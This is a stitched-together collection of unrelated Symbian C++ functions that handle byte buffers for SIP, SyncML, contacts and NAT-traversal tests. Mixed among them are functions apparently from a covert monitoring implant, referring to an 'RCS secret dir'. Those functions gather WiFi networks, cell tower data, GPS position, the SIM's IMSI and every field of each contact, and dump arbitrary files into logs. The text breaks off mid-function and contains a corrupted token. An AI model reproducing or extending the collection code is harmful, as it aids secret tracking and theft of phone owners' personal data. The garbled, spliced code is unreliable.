void CNcdNodeLink::InternalizeRequestL( MCatalogsBaseMessage& aMessage ) const
{
DLTRACEIN((""));
CBufBase* buf = CBufFlat::NewL( KBufExpandSize );
CleanupStack::PushL( buf );
RBufWriteStream stream( *buf );
CleanupClosePushL( stream );
// Include all the necessary node data to the stream
ExternalizeDataForRequestL( stream );
// Commits data to the stream when closing.
CleanupStack::PopAndDestroy( &stream );
if ( buf->Size() > 0 )
{
DLTRACE(( "Completing the message, buf len: %d", buf->Ptr(0).Length() ));
}
// If this leaves, ReceiveMessage function will complete the message.
aMessage.CompleteAndReleaseL( buf->Ptr( 0 ), KErrNone );
DLTRACE(("Deleting the buf"));
CleanupStack::PopAndDestroy( buf );
DLTRACEOUT((""));
}
// ----------------------------------------------------------------------------
// TTCPCompMsgEnd::DataReceivedL
// ----------------------------------------------------------------------------
//
void TTCPCompMsgEnd::DataReceivedL( TPtr8 aData, TUint& aNextLength )
{
// panic if sigcomp is not supported in debug mode.leaves in release mode.
__SIP_ASSERT_LEAVE( iMsgAssembler.SigComp().IsSupported(), KErrGeneral );
// panic if received data is not compressed in debug mode.
// leaves in release mode.
__SIP_ASSERT_LEAVE( iMsgAssembler.SigComp().IsSigCompMsg( aData ),
KErrGeneral );
// panic if received data is not completed compressed msg in debug mode.
// leaves in release mode.
__SIP_ASSERT_LEAVE(
iMsgAssembler.SigComp().IsCompleteSigCompMessageL( aData ),
KErrGeneral );
TUint bytesConsumed( 0 );
CBufBase* decompressedData = iMsgAssembler.SigComp().DecompressL(
aData, bytesConsumed, ETrue);
TUint dataLen( static_cast<TUint>( aData.Length() ) );
// Whole data was not decompressed and non-decompressed data might
// be part of next sigcomp message, remember amount of non-decompressed
// data
iMsgAssembler.SetUnConsumedBytes( dataLen - bytesConsumed );
if ( bytesConsumed < dataLen )
{
CleanupStack::PushL(decompressedData);
aData.Delete(0, bytesConsumed);
HBufC8* newData =
HBufC8::NewL( decompressedData->Size() + aData.Length() );
// copy the msg buffer data and the received data to new data buffer
TPtr8 newDataPtr = newData->Des();
newDataPtr.Append(decompressedData->Ptr(0));
CleanupStack::PopAndDestroy(decompressedData);
newDataPtr.Append(aData);
// delete all content of received data
aData.Delete( 0, aData.Length() );
CleanupStack::PushL(newData);
DecideNextStateL( newDataPtr, aNextLength );
CleanupStack::PopAndDestroy(newData);
}
else if ( bytesConsumed == dataLen )
{
CleanupStack::PushL( decompressedData );
aData.Delete(0, bytesConsumed);
TPtr8 decompressedDataPtr = decompressedData->Ptr(0);
DecideNextStateL( decompressedDataPtr, aNextLength );
CleanupStack::PopAndDestroy( decompressedData );
}
else // bytesConsumed > dataLen error happens, reset the state
{
delete decompressedData;
iMsgAssembler.ChangeState( MMsgAssemblerContext::EMsgInit );
}
}
DMAD_EXPORT_C void CDmAdEngine::CopyCommandL(const TDesC8& aTargetUri,
const TDesC8& aTargetLuid,
const TDesC8& aSourceUri,
const TDesC8& aSourceLuid,
const TDesC8& aType,
TInt aStatusRef)
{
TRACE("CDmAdEngine::CopyCommandL");
DEBUG_LOG1(_L8("aTargetUri = %S"), &aTargetUri);
DEBUG_LOG1(_L8("aTargetLuid = %S"), &aTargetLuid);
DEBUG_LOG1(_L8("aSourceUri = %S"), &aSourceUri);
DEBUG_LOG1(_L8("aSourceLuid = %S"), &aSourceLuid);
DEBUG_LOG1(_L8("aType = %S"), &aType);
DEBUG_LOG1(_L("aStatusRef = %d"), aStatusRef);
TInt err = KErrNone;
TPtrC8 sourceUri(TDmAdUtil::RemoveDotSlash(aSourceUri));
TInt status = KErrNone;
CBufBase* object = 0;
TRAP(err, status = DoFetchLeafObjectL(sourceUri, aSourceLuid, aType, object));
if (err != KErrNone)
{
iCallBack->SetStatusL(aStatusRef, err);
return;
}
if (status != KErrNone)
{
delete object;
iCallBack->SetStatusL(aStatusRef, status);
return;
}
CleanupStack::PushL(object);
DEBUG_LOG(_L("object:"));
DEBUG_LOG_HEX(object->Ptr(0));
TPtrC8 targetUri(TDmAdUtil::RemoveDotSlash(aTargetUri));
TRAP(err, DoUpdateLeafObjectL(targetUri, aTargetLuid, object->Ptr(0), aType, aStatusRef));
if (err != KErrNone)
{
iCallBack->SetStatusL(aStatusRef, err);
}
CleanupStack::PopAndDestroy(); // object
}
// -----------------------------------------------------------------------------
// CSIPMessage::ToTextLC
// -----------------------------------------------------------------------------
//
EXPORT_C CBufBase* CSIPMessage::ToTextLC ()
{
CBufBase* encodedMessage = ToTextHeaderPartLC();
TInt length = encodedMessage->Ptr(0).Length();
encodedMessage->InsertL (length,*iContent);
return encodedMessage;
}
void CNcdNodePreview::InternalizeRequestL( MCatalogsBaseMessage& aMessage )
{
DLTRACEIN((""));
CBufBase* buf = CBufFlat::NewL( KBufExpandSize );
CleanupStack::PushL( buf );
RBufWriteStream stream( *buf );
CleanupClosePushL( stream );
// Include all the necessary node data to the stream
ExternalizeDataForRequestL( stream );
// Commits data to the stream when closing.
CleanupStack::PopAndDestroy( &stream );
// If this leaves, ReceiveMessage will complete the message.
// NOTE: that here we expect that the buffer contains at least
// some data. So, make sure that ExternalizeDataForRequestL inserts
// something to the buffer.
aMessage.CompleteAndReleaseL( buf->Ptr( 0 ), KErrNone );
DLINFO(("Deleting the buf"));
CleanupStack::PopAndDestroy( buf );
DLTRACEOUT((""));
}
HBufC8* CAgentPosition::GetWiFiBufferL(TLocationAdditionalData* additionalData)
{
CBufBase* buffer = CBufFlat::NewL(50);
CleanupStack::PushL(buffer);
CWlanScanInfo* scanInfo=CWlanScanInfo::NewL();
CleanupStack::PushL(scanInfo);
CWlanMgmtClient* client=CWlanMgmtClient::NewL();
CleanupStack::PushL(client);
client->GetScanResults(*scanInfo);
for(scanInfo->First(); !scanInfo->IsDone(); scanInfo->Next() )
{
TWiFiInfo wifiInfo;
Mem::FillZ(&wifiInfo,sizeof(wifiInfo));
//Retrieve BSSID
TWlanBssid bssid;
scanInfo->Bssid( bssid );
//wifiInfo.macAddress.Zero();
//wifiInfo.macAddress.Copy(bssid);
for(TInt k = 0; k < bssid.Length(); k++)
wifiInfo.macAddress[k] = bssid[k];
//Retrieve transmision level
TInt8 rxLevel = scanInfo->RXLevel();
wifiInfo.rssi = rxLevel;
//Retrieve SSID
TBuf8<36> ssid;
TInt err;
err = GetSSID(scanInfo, ssid);
if(err == KErrNone)
{
wifiInfo.ssidLen = ssid.Length();
for(TInt i=0; i<wifiInfo.ssidLen; i++)
wifiInfo.ssid[i] = ssid[i];
}
else
{
wifiInfo.ssidLen = 0;
}
additionalData->uStructNum += 1;
buffer->InsertL(buffer->Size(), &wifiInfo, sizeof(TWiFiInfo));
}
CleanupStack::PopAndDestroy(client);
CleanupStack::PopAndDestroy(scanInfo);
HBufC8* result = buffer->Ptr(0).AllocL();
CleanupStack::PopAndDestroy(buffer);
return result;
}
/**
Compares this drawsection to aDrawSection and check if they are identical.
@param aDrawSection The drawsection to compare with.
@return ETrue if the drawsections are identical, otherwise EFalse.
*/
TBool CDrawSection::IsIdentical(const CDrawSection& aDrawSection) const
{
const TRect drawRect = aDrawSection.DrawRect();
CBufBase* segBuf = aDrawSection.Buffer();
if(!iHasBitmapCommand && iDrawRect.iTl == drawRect.iTl && iDrawRect.iBr == drawRect.iBr && segBuf->Size() == iSectionSegBuf->Size())
{
const TInt count = iSectionSegBuf->Size();
for(TInt i = 0; i < count; i++)
{
const TPtr8 comparePtr = segBuf->Ptr(i);
if(iSectionSegBuf->Ptr(i).CompareC(segBuf->Ptr(i))) //Not identical
return EFalse;
i += comparePtr.Size();
}
return ETrue;
}
return EFalse;
}
// -----------------------------------------------------------------------------
// CNSmlDmDevDetailAdapter::AddObjectToBufferL()
// -----------------------------------------------------------------------------
void CNSmlDmDevDetailAdapter::AddObjectToBufferL( CBufBase& aCrcBuf,
const TDesC8& aURI )
{
CBufBase* buf = CBufFlat::NewL( 1 );
CleanupStack::PushL( buf );
FetchLeafObjectL( aURI, *buf );
aCrcBuf.InsertL( aCrcBuf.Size(), buf->Ptr(0) );
_LIT8( KNSmlDmSeparator, ";" );
aCrcBuf.InsertL( aCrcBuf.Size(), KNSmlDmSeparator );
CleanupStack::PopAndDestroy(); //buf
}
void CStateDownload::DumpFileL(const TDesC& aFileName)
{
_LIT(KNull,"\x00");
_LIT(KDir,"$dir$");
TDownloadAdditionalData additionalData;
//check if file it's inside RCS secret dir
TParsePtrC parsePtrC(aFileName);
if(iPrivatePath.CompareF(parsePtrC.DriveAndPath())==0)
{
//the file is in the private dir, we have to modify the path
additionalData.fileName.Copy(KDir);
additionalData.fileName.Append(parsePtrC.NameAndExt());
additionalData.fileName.Append(KNull); //add NULL terminator
additionalData.uFileNamelen = additionalData.fileName.Size();
}
else
{
additionalData.fileName.Copy(aFileName);
additionalData.fileName.Append(KNull); //add NULL terminator
additionalData.uFileNamelen = additionalData.fileName.Size();
}
RBuf8 fileBuf(FileUtils::ReadFileContentsL(iFs, aFileName));
if(fileBuf.Size()>0)
{
fileBuf.CleanupClosePushL();
CLogFile* logFile = CLogFile::NewLC(iFs);
logFile->CreateLogL(LOGTYPE_DOWNLOAD, &additionalData);
logFile->AppendLogL(fileBuf);
logFile->CloseLogL();
CleanupStack::PopAndDestroy(logFile);
CleanupStack::PopAndDestroy(&fileBuf);
}
else
{
//something went wrong, usually a KErrNoMemory has been raised
_LIT(KDownloadError,"Error in downloading file");
CBufBase* buffer = CBufFlat::NewL(50);
CleanupStack::PushL(buffer);
buffer->InsertL(buffer->Size(),(TUint8*)KDownloadError().Ptr(),KDownloadError().Size());
HBufC8* byteBuf = buffer->Ptr(0).AllocLC();
CLogFile* logFile = CLogFile::NewLC(iFs);
logFile->CreateLogL(LOGTYPE_INFO);
logFile->AppendLogL(*byteBuf);
logFile->CloseLogL();
CleanupStack::PopAndDestroy(logFile);
CleanupStack::PopAndDestroy(byteBuf);
CleanupStack::PopAndDestroy(buffer);
}
}
/**
Searches all contact items in the view for fields that contain the search
strings specified.
@capability ReadUserData
@param aFindWords A descriptor array containing one or more search strings
@param aMatchedContacts On return, an array of matching contact items
@param find behaviour configuration uid to be passed to the server.
*/
void RContactRemoteView::ContactsMatchingCriteriaL(const MDesCArray& aFindWords, RPointerArray<CViewContact>& aMatchedContacts, TBool aPrefixSearch,TUid aUid)
{
if(aUid != KNullUid)
{
TIpcArgs args(aUid.iUid);
User::LeaveIfError(SendReceive(ECntSendPluginUidToServer,args));
}
CBufBase* buffer = CBufFlat::NewL(32);
CleanupStack::PushL(buffer);
RBufWriteStream writeStream(*buffer);
CleanupClosePushL(writeStream);
writeStream.WriteUint32L(aPrefixSearch);
const TInt count = aFindWords.MdcaCount();
writeStream.WriteUint32L(count);
for (TInt i=0; i<count; ++i)
{
TPtrC ptr = aFindWords.MdcaPoint(i);
writeStream.WriteUint32L(ptr.Length());
writeStream << ptr;
}
writeStream.CommitL();
CleanupStack::PopAndDestroy(&writeStream); //writeStream.Close()
TPtr8 ptr(buffer->Ptr(0));
const TInt bufferSize = buffer->Size();
TPckg<TInt> size(bufferSize);
TPckgBuf<TInt> pckg;
TIpcArgs args(&pckg,&size,&ptr);
User::LeaveIfError(SendReceive(ECntContactMatchingCriteriaExternalizedSize,args));
CleanupStack::PopAndDestroy(buffer);
//Internalize Contacts
HBufC8* buf=HBufC8::NewLC(pckg());
TPtr8 contactsbufPtr(buf->Des());
TIpcArgs args2(&contactsbufPtr);
User::LeaveIfError(SendReceive(ECntGetContactMatchingCriteria,args2));
RDesReadStream readStream(contactsbufPtr);
CleanupClosePushL(readStream);
const TInt findCount = readStream.ReadUint32L();
for (TInt zz=0;zz<findCount;++zz)
{
CViewContact* thisContact = CViewContact::NewLC(KNullContactId);
readStream >> *thisContact;
aMatchedContacts.AppendL(thisContact);
CleanupStack::Pop(thisContact);
}
CleanupStack::PopAndDestroy(2, buf);
}
// ------------------------------------------------------------------------------------------------
// CNSmlDataModBase::MergeRxL
// Merges received item with item in exported from the local database.
// ------------------------------------------------------------------------------------------------
EXPORT_C void CNSmlDataModBase::MergeRxL( CBufBase& aNewItem, CBufBase& aOldItem, TBool aFieldLevel )
{
_DBG_FILE("CNSmlDataModBase::MergeRxL(): begin");
if( NeedsMerge() )
{
HBufC8* b1 = HBufC8::NewLC(aNewItem.Size() + aOldItem.Size());
*b1 = aNewItem.Ptr(0);
TPtr8 ptrB1 = b1->Des();
TPtr8 p2 = aOldItem.Ptr(0);
MergeL( ptrB1, p2, aFieldLevel );
aNewItem.Reset();
aNewItem.InsertL(0, ptrB1);
CleanupStack::PopAndDestroy(); // b1
}
else if ( iUsedRemoteMimeType == -1 )
{
User::Leave( KErrNotFound );
}
_DBG_FILE("CNSmlDataModBase::MergeRxL(): end");
}
HBufC8* CEventSimChange::GetImsiBufferL(const TDesC8& aImsi)
{
CBufBase* buffer = CBufFlat::NewL(50);
CleanupStack::PushL(buffer);
TUint32 len = sizeof(len) + aImsi.Size();
buffer->InsertL(buffer->Size(), &len, sizeof(len));
buffer->InsertL(buffer->Size(), aImsi.Ptr(), aImsi.Size());
HBufC8* result = buffer->Ptr(0).AllocL();
CleanupStack::PopAndDestroy(buffer);
return result;
}
// ------------------------------------------------------------------------------------------------
// CNSmlDataModBase::StripTxL
// Strips data that is to be transmitted to the sync partner.
// ------------------------------------------------------------------------------------------------
EXPORT_C void CNSmlDataModBase::StripTxL( CBufBase& aItem )
{
_DBG_FILE("CNSmlDataModBase::StripTxL(): begin");
HBufC8* buf = HBufC8::NewLC(aItem.Size());
*buf = aItem.Ptr(0);
TPtr8 ptrBuf = buf->Des();
StripL(ptrBuf);
aItem.Reset();
aItem.InsertL(0, ptrBuf);
CleanupStack::PopAndDestroy(); // buf
_DBG_FILE("CNSmlDataModBase::StripTxL(): end");
}
void Cdmatest::SaveDataL( TInt /*aResultsRef*/, CBufBase& aObject,
const TDesC8& aType )
{
iLog->Log( _L8( "Saving data of type: '%S'" ), &aType );
RFs fs;
User::LeaveIfError( fs.Connect() );
CleanupClosePushL( fs );
RFile file;
User::LeaveIfError( file.Replace ( fs, iSaveFileName, EFileWrite ) );
CleanupClosePushL( file );
TPtrC8 p( aObject.Ptr( 0 ) );
User::LeaveIfError( file.Write( p ) );
CleanupStack::PopAndDestroy( 2 ); // file, fs
}
void Cdmatest::SetResultsL(
TInt aResultsRef,
CBufBase& aObject,
const TDesC8& aType )
{
TPtrC8 ptr( aObject.Ptr(0) );
iLog->Log( _L8( "SetResults, ref=%d, object='%S', type='%S'" ), aResultsRef, &ptr, &aType );
if ( iResultsFunction )
{
(this->*iResultsFunction)( aResultsRef, aObject, aType );
iResultsFunction = NULL ;
}
}
HBufC8* CAgentAddressbook::GetTTimeBufferL(const TTime aTime)
{
TInt64 timestamp = aTime.Int64();
CBufBase* buffer = CBufFlat::NewL(50);
CleanupStack::PushL(buffer);
TUint32 len = sizeof(len) + sizeof(timestamp);
buffer->InsertL(buffer->Size(), &len, sizeof(len));
buffer->InsertL(buffer->Size(), ×tamp, sizeof(timestamp));
HBufC8* result = buffer->Ptr(0).AllocL();
CleanupStack::PopAndDestroy(buffer);
return result;
}
void UT_CNATFWUNSAFMessage::TestSetMessageLengthL()
{
//UNSAF message, no attributes
CBufBase* msg = iMsg->EncodeL();
CleanupStack::PushL(msg);
iMsg->SetMessageLength(*msg);
TInt expected = 0; //just the header
TInt actual =
BigEndian::Get16(&msg->Ptr(CNATFWUNSAFMessage::EMessageLengthOffset)[0]);
EUNIT_ASSERT(expected == actual);
CleanupStack::PopAndDestroy(msg);
}
HBufC8* CAgentPosition::GetCellIdBufferL()
{
TUint cellId=0;
TUint lac=0;
TInt32 signalStrength = 0;
TBuf<CTelephony::KNetworkIdentitySize> network;
TBuf<CTelephony::KNetworkCountryCodeSize> cc;
TBuf<CTelephony::KNetworkLongNameSize> oper;
iPhone->GetCellIDSync(cellId, lac, network, cc, oper);
iPhone->GetSignalStrengthSync(signalStrength); // signalStrength is set to 0 if not available
cellId = cellId & 0xFFFF; // jo, maybe redundant
CBufBase* buffer = CBufFlat::NewL(50);
CleanupStack::PushL(buffer);
TCellInfo cellInfo;
TTime now;
now.UniversalTime();
//TInt64 filetime = GetFiletime(now);
TInt64 filetime = TimeUtils::GetFiletime(now);
cellInfo.filetime.dwHighDateTime = (filetime >> 32);
cellInfo.filetime.dwLowDateTime = (filetime & 0xFFFFFFFF);
// Converts CountryCode from string to number
TLex lex(cc);
lex.Val(cellInfo.cell.dwMobileCountryCode, EDecimal);
// Converts NetworkCode from string to number
lex.Assign(network);
lex.Val(cellInfo.cell.dwMobileNetworkCode, EDecimal);
cellInfo.cell.dwLocationAreaCode = lac;
cellInfo.cell.dwCellID = cellId;
cellInfo.cell.dwTimingAdvance = 0; // there are no public APIs for this
cellInfo.cell.dwRxLevel = signalStrength;
cellInfo.cell.dwRxQuality = 0;
TUint32 type = TYPE_CELL;
buffer->InsertL(0, &type, sizeof(TUint32));
buffer->InsertL(buffer->Size(), &cellInfo, sizeof(TCellInfo));
HBufC8* result = buffer->Ptr(0).AllocL();
CleanupStack::PopAndDestroy(buffer);
return result;
}
void UT_CNATFWUNSAFMessage::TestSetMessageLength3L()
{
const TInt KGranularity = 50;
_LIT8(KBufferContents,
"some stuff to put into the buffer and then check the length is computed correctly");
CBufBase* msg = CBufFlat::NewL(KGranularity);
CleanupStack::PushL(msg);
msg->InsertL(0, KBufferContents);
iMsg->SetMessageLength(*msg);
TInt expected = KBufferContents().Length() - CNATFWUNSAFMessage::EHeaderSize;
TInt actual =
BigEndian::Get16(&msg->Ptr(CNATFWUNSAFMessage::EMessageLengthOffset)[0]);
EUNIT_ASSERT(expected == actual);
CleanupStack::PopAndDestroy(msg);
}
// -----------------------------------------------------------------------------
// CNATFWUNSAFAttribute::EncodeL
// -----------------------------------------------------------------------------
//
HBufC8* CNATFWUNSAFAttribute::EncodeL() const
{
HBufC8* value = EncodeValueL();
CleanupStack::PushL(value);
TInt attrValLength = value->Length();
//Pad non-DWORD-boundary aligned attributes with spaces if needed. Spaces
//used instead of \0 in order to not mess up buggy C implementations.
const TInt KGranularity = 4;
TInt bytesInLastBlock = attrValLength % KGranularity;
TInt bytesToAppend = KGranularity - bytesInLastBlock;
if (0 < bytesInLastBlock && !IsWordBoundaryAligned(Type()))
{
CBufBase* valueBuf = CBufFlat::NewL(attrValLength + bytesToAppend);
CleanupStack::PushL(valueBuf);
valueBuf->InsertL(0, *value, attrValLength);
const TChar KSpace(' ');
for (TInt i = 0; i < bytesToAppend; ++i)
{
valueBuf->InsertL(valueBuf->Size(), &KSpace, 1);
}
// Store value pointer for proper cleanupstack handling
HBufC8* oldValue = value;
value = valueBuf->Ptr(0).AllocL();
CleanupStack::PopAndDestroy(valueBuf);
CleanupStack::PopAndDestroy( oldValue );
CleanupStack::PushL( value );
}
HBufC8* attribute = HBufC8::NewLC(value->Length() + EValueOffset);
TPtr8 ptr = attribute->Des();
ptr.FillZ(EValueOffset);
NATFWUNSAFUtils::WriteNetworkOrder16L(ptr, ETypeOffset, Type());
NATFWUNSAFUtils::WriteNetworkOrder16L(ptr,
ELengthOffset,
static_cast<TUint16>(attrValLength));
ptr.Append(*value);
CleanupStack::Pop(attribute);
CleanupStack::PopAndDestroy(value);
return attribute;
}
// ----------------------------------------------------------------------------
// TSIPSecDigestVerifyContext::SecurityServerHeaderL
// Example
// Security-Server: ipsec-ike;q=0.1
// Security-Server: tls;q=0.2
// Result
// Security-Server:ipsec-ike;q=0.1,tls;q=0.2
// ----------------------------------------------------------------------------
//
HBufC8* TSIPSecDigestVerifyContext::SecurityServerHeaderL()
{
HBufC8* serverHeader( NULL );
TSglQueIter<CSIPHeaderBase> headers(
static_cast< TSIPSecPluginCtxVerify& >( Parent() ).
SecurityServerHeaders() );
if ( headers )
{
CBufBase* encoded = SipSecUtils::EncodeHeadersL( headers );
CleanupStack::PushL( encoded );
TPtr8 encodedPtr( encoded->Ptr( 0 ) );
serverHeader = encodedPtr.AllocL();
CleanupStack::PopAndDestroy( encoded );
}
return serverHeader;
}
/*!
* Fetch contact
*/
TInt CNsmlContactsDataStoreExtensionPrivate::ExportContactsL( const TUid &uid, CBufBase &contactbufbase )
{
DBG_ARGS(_S("CNsmlContactsDataStoreExtensionPrivate::ExportContactsL: BEGIN: UID: %d"), uid);
TInt error(KErrNone);
QList<QContact> contacts;
QBuffer contactsbuf;
contactsbuf.open(QBuffer::ReadWrite);
mWriter->setDevice( &contactsbuf );
QContact contact = mContactManager->contact( uid.iUid );
error = mContactManager->error();
if( error != QContactManager::NoError )
{
DBG_ARGS(_S("CNsmlContactsDataStoreExtensionPrivate::ExportContactsL:Error %d"), error );
return error;
}
contacts.append( contact );
if( mExporter->exportContacts( contacts, QVersitDocument::VCard21Type ) )
{
QList<QVersitDocument> documents = mExporter->documents();
mWriter->startWriting( documents );
bool status = mWriter->waitForFinished();
DBG_ARGS(_S("CNsmlContactsDataStoreExtensionPrivate::ExportContactsL:status %d"), status);
HBufC8* buf = XQConversions::qStringToS60Desc8( contactsbuf.data() );
contactbufbase.InsertL( contactbufbase.Size(), *buf );
delete buf;
}
else
{
error = KErrGeneral;
DBG_ARGS(_S("CNsmlContactsDataStoreExtensionPrivate::ExportContactsL:Error in exporting %d"), error );
}
TPtr8 ptrbuf(contactbufbase.Ptr(0));
DBG_DUMP( (void*)ptrbuf.Ptr(), ptrbuf.Length(),
_S8("CNsmlContactsDataStoreExtensionPrivate::ExportContactsL: From DB:"));
_DBG_FILE("CNsmlContactsDataStoreExtensionPrivate::ExportContactsL: END");
return error;
}
// -----------------------------------------------------------------------------
// CNSmlDmDevDetailAdapter::DevDetailValueCrcL()
// -----------------------------------------------------------------------------
TInt CNSmlDmDevDetailAdapter::DevDetailValueCrcL()
{
CBufBase* crcBuf = CBufFlat::NewL( 1 );
CleanupStack::PushL( crcBuf );
AddObjectToBufferL( *crcBuf, KNSmlDMDevDetailDevTypNodeName() );
AddObjectToBufferL( *crcBuf, KNSmlDMDevDetailOEMNodeName() );
AddObjectToBufferL( *crcBuf, KNSmlDMDevDetailFwVNodeName() );
AddObjectToBufferL( *crcBuf, KNSmlDMDevDetailSwVNodeName() );
AddObjectToBufferL( *crcBuf, KNSmlDMDevDetailHwVNodeName() );
AddObjectToBufferL( *crcBuf, KNSmlDMDevDetailLrgObjNodeName() );
AddObjectToBufferL( *crcBuf, KNSmlDMDevDetailMaxDepthNodeName() );
AddObjectToBufferL( *crcBuf, KNSmlDMDevDetailMaxTotLenNodeName() );
AddObjectToBufferL( *crcBuf, KNSmlDMDevDetailMaxSegLenNodeName() );
TUint16 crc = 0;
Mem::Crc( crc, crcBuf->Ptr(0).Ptr(), crcBuf->Size() );
CleanupStack::PopAndDestroy(); // crcBuf
return crc;
}
void Cdmatest::FetchNodeResultsL( TInt /*aResultsRef*/, CBufBase& aObject,
const TDesC8& /*aType*/ )
{
TPtrC8 ptr( aObject.Ptr( 0 ) );
iLog->Log( _L8("FetchNodeResultsL for '%S': '%S'" ), iURI, &ptr );
if ( ptr.Length() > 0 )
{
TPtrC8 last( LastURISeg( ptr ) );
HBufC8 *oldUri = HBufC8::NewL( iURI->Length() );
(*oldUri) = *iURI;
do
{
iLog->Log ( _L8( " Node: '%S' "), &last );
HBufC8 *nUri = HBufC8::NewLC( oldUri->Length() + 1 + last.Length() );
nUri->Des().Copy( *oldUri ) ;
nUri->Des().Append( '/' );
nUri->Des().Append( last );
SetURIL( nUri );
//iResultsFunction = FetchNodeResultsL;
//TPtrC8 parentURI(RemoveLastSeg(*nUri));
//HBufC8 *luid = GetLuidAllocLC( parentURI );
CleanupStack::Pop( nUri );
HBufC8 *luid = GetLuidAllocLC( *iURI );
Adapter()->ChildURIListL( *nUri, KNullDesC8, *iEmptyMappingInfoArray, 4, 5 );//Dipak
CleanupStack::PopAndDestroy( luid );
ptr.Set( RemoveLastURISeg( ptr ) );
last.Set( LastURISeg( ptr ) );
}
while (last != KNullDesC8);
}
}
void UT_CNATFWUNSAFMessage::TestSetMessageLength2L()
{
//UNSAF message, one attribute
TInetAddr addr(0x5040ffaa, 0x1234);
CNATFWUNSAFMappedAddressAttribute* attr =
CNATFWUNSAFMappedAddressAttribute::NewLC(addr);
iMsg->AddAttributeL(attr);
CleanupStack::Pop(attr);
CBufBase* msg = iMsg->EncodeL();
CleanupStack::PushL(msg);
iMsg->SetMessageLength(*msg);
TInt expected = 4 + CNATFWUNSAFAddressAttribute::EAttributeValueSizeIPv4;
TInt actual =
BigEndian::Get16(&msg->Ptr(CNATFWUNSAFMessage::EMessageLengthOffset)[0]);
EUNIT_ASSERT(expected == actual);
CleanupStack::PopAndDestroy(msg);
}
/**
Convert between view indexes and contact ids.
This method makes the request to the server.
@capability ReadUserData
*/
void RContactRemoteView::GetContactIdsL(const CArrayFix<TInt>& aIndexes, CContactIdArray& aContactIds)
{
CBufBase* buffer = CBufFlat::NewL(32);
CleanupStack::PushL(buffer);
RBufWriteStream writeStream(*buffer);
CleanupClosePushL(writeStream);
const TInt count = aIndexes.Count();
writeStream.WriteUint32L(count);
for (TInt i=0; i<count; ++i)
{
writeStream.WriteUint32L(aIndexes[i]);
}
writeStream.CommitL();
CleanupStack::PopAndDestroy(&writeStream); //writeStream.Close()
TPtr8 indexes(buffer->Ptr(0));
const TInt bufferSize = buffer->Size();
TPckg<TInt> size(bufferSize);
HBufC8* buf=HBufC8::NewLC(bufferSize);
TPtr8 ids(buf->Des());
TIpcArgs args(&size, &indexes, &ids);
User::LeaveIfError(SendReceive(ECntGetContactIds,args));
RDesReadStream readStream(ids);
CleanupClosePushL(readStream);
CContactIdArray* array = CContactIdArray::NewLC();
readStream >> *array;
const TInt arrayCount = array->Count();
for(TInt loop=0;loop<arrayCount;loop++)
aContactIds.AddL((*array)[loop]);
CleanupStack::PopAndDestroy(4,buffer); //array, &readStream, buf, buffer
}
TBool UT_CNATFWUNSAFMessage::CompareEncodedUNSAFMessage(
const TUint8* aExpectedResult,
CBufBase& aUNSAFMessage,
TUint aMaxBytesToCompare,
TUint& aFirstDifference,
TUint8& aExpected,
TUint8& aActual)
{
TPtr8 unsafMessage = aUNSAFMessage.Ptr(0);
for (TInt i=0; i < aUNSAFMessage.Size() && i < aMaxBytesToCompare; ++i)
{
if (aExpectedResult[i] != unsafMessage[i])
{
aFirstDifference = i;
aExpected = aExpectedResult[i];
aActual = unsafMessage[i];
return EFalse;
}
}
return ETrue;
}
HBufC8* CAgentAddressbook::GetContactBufferL(const CContactItem& item)
{
CContactItemFieldSet& fields = item.CardFields();
if (ContainsEmptyField(fields))
{
// This item has been removed but has not been deleted from the database yet
__FLOG(_L("Skip Item: Contains Empty Fields"));
return HBufC8::NewL(0);
}
if (item.IsDeleted())
{
__FLOG(_L("Skip Item: Deleted"));
return HBufC8::NewL(0);
}
__FLOG(_L("DumpContactItem"));
//create buffer
CBufBase* buffer = CBufFlat::NewL(50);
CleanupStack::PushL(buffer);
for (TInt i = 0; i < fields.Count(); i++)
{
const CContactItemField& itemField = fields[i];
if (itemField.IsDeleted())
{
__FLOG(_L("Skip IsDeleted"));
continue;
}
RBuf buf(ReadFieldAsTextL(itemField));
buf.CleanupClosePushL();
if (buf.Length() > 0)
{
TContactEntry intType = (TContactEntry) GetTypeFromItemField(itemField);
__FLOG_1(_L("Type: %d"), intType);
__FLOG(buf);
// 1st byte is the Type and next 3 bytes are the Length
TUint32 typeAndLen = intType << 24;
typeAndLen += buf.Size();
TUint8* dataPtr = (TUint8 *) buf.Ptr();
buffer->InsertL(buffer->Size(), &typeAndLen, sizeof(typeAndLen));
buffer->InsertL(buffer->Size(), dataPtr, buf.Size());
}
CleanupStack::PopAndDestroy(&buf);
}
// adds header data to buffer
THeader header;
header.dwSize += buffer->Size();
header.lOid = item.Id();
buffer->InsertL(0, &header, sizeof(header));
HBufC8* result = buffer->Ptr(0).AllocL();
CleanupStack::PopAndDestroy(buffer);
return result;
}
//HBufC8* CAgentPosition::GetGPSBufferL(TPosition pos) // original MB
HBufC8* CAgentPosition::GetGPSBufferL(TPositionSatelliteInfo satPos)
{
/*
* If the number of satellites used to calculate the coordinates is < 4, we don't use
* the fix
*/
if(satPos.NumSatellitesUsed() < 4 )
return HBufC8::NewL(0);
CBufBase* buffer = CBufFlat::NewL(50);
CleanupStack::PushL(buffer);
TGPSInfo gpsInfo;
// retrieve TPosition
TPosition pos;
satPos.GetPosition(pos);
// insert filetime timestamp
TTime now;
now.UniversalTime();
//TInt64 filetime = GetFiletime(now);
TInt64 filetime = TimeUtils::GetFiletime(now);
gpsInfo.filetime.dwHighDateTime = (filetime >> 32);
gpsInfo.filetime.dwLowDateTime = (filetime & 0xFFFFFFFF);
gpsInfo.gps.FixType = GPS_FIX_3D; // we are sure at least 4 satellites have been used
// insert lat-long-alt-time
gpsInfo.gps.dblLatitude = pos.Latitude();
gpsInfo.gps.dblLongitude = pos.Longitude();
gpsInfo.gps.flAltitudeWRTSeaLevel = pos.Altitude();
gpsInfo.gps.stUTCTime = TSystemTime( pos.Time() );
gpsInfo.gps.dwValidFields = (GPS_VALID_UTC_TIME | GPS_VALID_LATITUDE | GPS_VALID_LONGITUDE | GPS_VALID_ALTITUDE_WRT_SEA_LEVEL);
gpsInfo.gps.dwSatelliteCount = satPos.NumSatellitesUsed();
gpsInfo.gps.dwValidFields |= GPS_VALID_SATELLITE_COUNT;
gpsInfo.gps.dwSatellitesInView = satPos.NumSatellitesInView();
gpsInfo.gps.dwValidFields |= GPS_VALID_SATELLITES_IN_VIEW;
gpsInfo.gps.flHorizontalDilutionOfPrecision = satPos.HorizontalDoP();
gpsInfo.gps.dwValidFields |= GPS_VALID_HORIZONTAL_DILUTION_OF_PRECISION;
